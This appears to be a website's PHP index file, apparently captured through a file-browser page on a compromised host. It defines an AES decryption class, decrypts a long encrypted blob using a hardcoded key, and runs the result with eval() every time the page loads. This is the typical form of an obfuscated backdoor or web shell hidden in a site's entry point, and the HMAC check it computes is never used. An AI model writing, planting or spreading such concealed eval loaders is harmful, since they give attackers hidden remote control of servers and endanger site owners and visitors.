Current File : /home/kelaby89/abl.academy/index.php
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}

$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
eval($decrypted);
Page not found – Hello World !